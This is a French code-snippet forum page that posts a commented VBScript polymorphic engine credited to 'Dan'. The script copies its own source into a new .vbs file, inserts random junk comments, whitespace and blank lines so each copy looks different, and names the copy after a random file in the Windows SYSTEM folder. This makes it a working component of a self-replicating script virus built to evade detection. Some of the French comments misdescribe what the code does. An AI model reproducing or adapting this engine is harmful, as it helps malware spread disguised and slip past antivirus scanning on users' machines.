Moteur polymorphe de dan commenté
Contenu du snippet
c'est le moteur polymorphe de Dan, je l'ai juste commenté
Source / Exemple :
on error resume next 'pour d'éventuelles erreurs
Dim F,R,G,O,T 'déclare les variables (F,R,G,O,T)
Randomize 'initialise le générateur de nombres aléatoires
Set F=CreateObject("Scripting.FileSystemObject") 'détermine F
O="Moteur polymorphe.vbs" 'détermine O
G=H+".vbs" 'détermine G
F.CreateTextFile G 'crée le fichier G
Set ts=F.OpenTextFile(G,2) 'détermine ts (ts = ouverture du fichier G)
Set R=F.OpenTextFile(O,1) 'détermine R (R = ouverture du fichier O)
Do 'début de l instruction Do...Loop
x=Int(Rnd*4+1) 'détermine x (x = 4+1)
If x=1 Then z=E 'si x = 1 alors z = E
If x=2 Then z=U 'si x = 2 alors z = U
If x=3 Then z=L 'si x = 3 alors z = L
If x=4 Then z=K(10,20) 'si x = 4 alors z = K
If x=5 Then z=vbCrLf 'si x = 5 alors z = saut de ligne
ts.WriteLine z 'écrit la valeur de z dans ts
If R.AtEndOfStream=-1 Then Exit Do
Loop
ts.Close 'fermeture du fichier ts
R.Close 'fermeture du fichier R
Function U 'début de la fonction U
If R.AtEndOfStream=0 Then T=R.ReadLine
If Left(T,1)="'" Then U
If T="" Then U
If W=0 Then U
If Left(T,2)="O=" Then T="O="+""""+G+""""
U=T 'détermine U (U = T)
End Function 'fin de la fonction U
Function W 'début de la fonction W
For i=1 To Len(T)
If Mid(T,i,1)<>Chr(32) Then W=2:Exit For
W=0 'détermine W (W = 0)
Next
End Function 'fin de la fonction W
Function J(n,m) 'début de la fonction J
For i=0 To (Int(Rnd*(m-n)+n))
J=Chr(14+Int(Rnd*241))+J 'détermine J
Next
End Function 'fin de la fonction J
Function K(n,m) 'début de la fonction K
K=Space(Int(Rnd*(m-n)+n)) 'détermine K
End Function 'fin de la fonction K
Function L 'début de la fonction L
L=J(Int(Rnd*10),Int(Rnd*10)+10) 'détermine L
n=Int(Rnd*3)+1 'détermine n
If n=1 Then y=vbCrLf 'si n = 1 alors y = saut de ligne
If n=2 Then y=K(Int(Rnd*3),Int(Rnd*5)+3) 'si n = 2 alors y = K
If n=3 Then y="" 'si n = 3 alors y = rien
L="'"+L+y 'détermine L
End Function 'fin de la fonction L
Function E 'début de la fonction E
d=Int(Rnd*4)+1
For a=0 To d
E=E+vbCrLf 'détermine E
Next
End Function 'fin de la fonction E
Function H 'début de la fonction H
Set c=F.GetSpecialFolder(0) 'détermine c
c=c+"\SYSTEM"
Set D=F.GetFolder(C)
Set z=D.Files
x=0
For Each q in z
x=x+1
Next
If x<>0 then
x=int(Rnd*x+1)
s=0
For Each q in z
s=s+1
H=F.GetBaseName(q.name)
If s=x Then Exit For
Next
End If
If O=H+".vbs" then x=0
If x=0 then
H=""
b=Int(rnd*8)+3
For n=1 To b
H=Chr(Int(rnd*25)+65)+H
Next
End If
End Function 'fin de la fonction H
A voir également
- Moteur polymorphe de dan commenté
- Créer un moteur de recherche interne ✓ - Forum PHP
- Meta moteur - Forum Java
- Moteur de recherche pe - Forum PHP
- Moteur d'inference ✓ - Forum Java
- Moteur de recherche php ✓ - Forum PHP
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.